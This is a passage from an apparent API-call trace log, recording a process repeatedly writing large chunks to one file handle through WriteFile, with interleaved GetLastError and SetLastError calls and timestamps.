[0109.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.231] GetLastError () returned 0x0
[0109.231] SetLastError (dwErrCode=0x0)
[0109.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.298] GetLastError () returned 0x0
[0109.298] SetLastError (dwErrCode=0x0)
[0109.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.343] GetLastError () returned 0x0
[0109.343] SetLastError (dwErrCode=0x0)
[0109.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.371] GetLastError () returned 0x0
[0109.371] SetLastError (dwErrCode=0x0)
[0109.371] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.371] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.396] GetLastError () returned 0x0
[0109.397] SetLastError (dwErrCode=0x0)
[0109.397] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.397] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.443] GetLastError () returned 0x0
[0109.443] SetLastError (dwErrCode=0x0)
[0109.443] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.444] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.470] GetLastError () returned 0x0
[0109.470] SetLastError (dwErrCode=0x0)
[0109.470] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.470] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.536] GetLastError () returned 0x0
[0109.537] SetLastError (dwErrCode=0x0)
[0109.537] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.537] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.607] GetLastError () returned 0x0
[0109.607] SetLastError (dwErrCode=0x0)
[0109.608] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.608] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.633] GetLastError () returned 0x0
[0109.633] SetLastError (dwErrCode=0x0)
[0109.633] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.633] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.659] GetLastError () returned 0x0
[0109.659] SetLastError (dwErrCode=0x0)
[0109.659] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.659] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.686] GetLastError () returned 0x0
[0109.686] SetLastError (dwErrCode=0x0)
[0109.686] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.686] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.711] GetLastError () returned 0x0
[0109.711] SetLastError (dwErrCode=0x0)
[0109.712] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.712] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.737] GetLastError () returned 0x0
[0109.737] SetLastError (dwErrCode=0x0)
[0109.737] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.737] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.763] GetLastError () returned 0x0
[0109.763] SetLastError (dwErrCode=0x0)
[0109.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.829] GetLastError () returned 0x0
[0109.830] SetLastError (dwErrCode=0x0)
[0109.830] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.830] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.896] GetLastError () returned 0x0
[0109.896] SetLastError (dwErrCode=0x0)
[0109.896] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.896] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.921] GetLastError () returned 0x0
[0109.921] SetLastError (dwErrCode=0x0)
[0109.922] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.922] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.025] GetLastError () returned 0x0
[0110.025] SetLastError (dwErrCode=0x0)
[0110.025] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.025] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.101] GetLastError () returned 0x0
[0110.102] SetLastError (dwErrCode=0x0)
[0110.102] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.102] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.127] GetLastError () returned 0x0
[0110.127] SetLastError (dwErrCode=0x0)
[0110.127] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.128] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.154] GetLastError () returned 0x0
[0110.154] SetLastError (dwErrCode=0x0)
[0110.154] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.154] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.180] GetLastError () returned 0x0
[0110.180] SetLastError (dwErrCode=0x0)
[0110.180] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.180] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.205] GetLastError () returned 0x0
[0110.205] SetLastError (dwErrCode=0x0)
[0110.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.231] GetLastError () returned 0x0
[0110.231] SetLastError (dwErrCode=0x0)
[0110.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.232] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.331] GetLastError () returned 0x0
[0110.331] SetLastError (dwErrCode=0x0)
[0110.331] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.331] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.357] GetLastError () returned 0x0
[0110.357] SetLastError (dwErrCode=0x0)
[0110.357] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.358] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.424] GetLastError () returned 0x0
[0110.424] SetLastError (dwErrCode=0x0)
[0110.424] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.425] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.451] GetLastError () returned 0x0
[0110.451] SetLastError (dwErrCode=0x0)
[0110.452] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.452] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.478] GetLastError () returned 0x0
[0110.478] SetLastError (dwErrCode=0x0)
[0110.478] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.478] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.503] GetLastError () returned 0x0
[0110.503] SetLastError (dwErrCode=0x0)
[0110.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.504] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.529] GetLastError () returned 0x0
[0110.529] SetLastError (dwErrCode=0x0)
[0110.529] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.529] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.554] GetLastError () returned 0x0
[0110.554] SetLastError (dwErrCode=0x0)
[0110.555] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.555] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.583] GetLastError () returned 0x0
[0110.583] SetLastError (dwErrCode=0x0)
[0110.583] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.583] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.631] GetLastError () returned 0x0
[0110.632] SetLastError (dwErrCode=0x0)
[0110.632] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.633] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.663] GetLastError () returned 0x0
[0110.663] SetLastError (dwErrCode=0x0)
[0110.663] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.663] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.738] GetLastError () returned 0x0
[0110.738] SetLastError (dwErrCode=0x0)
[0110.738] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.738] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.812] GetLastError () returned 0x0
[0110.812] SetLastError (dwErrCode=0x0)
[0110.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.853] GetLastError () returned 0x0
[0110.853] SetLastError (dwErrCode=0x0)
[0110.853] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.853] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.882] GetLastError () returned 0x0
[0110.882] SetLastError (dwErrCode=0x0)
[0110.882] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.882] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.909] GetLastError () returned 0x0
[0110.909] SetLastError (dwErrCode=0x0)
[0110.909] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.909] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0110.941] GetLastError () returned 0x0
[0110.941] SetLastError (dwErrCode=0x0)
[0110.941] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0110.942] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0111.082] GetLastError () returned 0x0
[0111.082] SetLastError (dwErrCode=0x0)
[0111.082] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0111.082] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
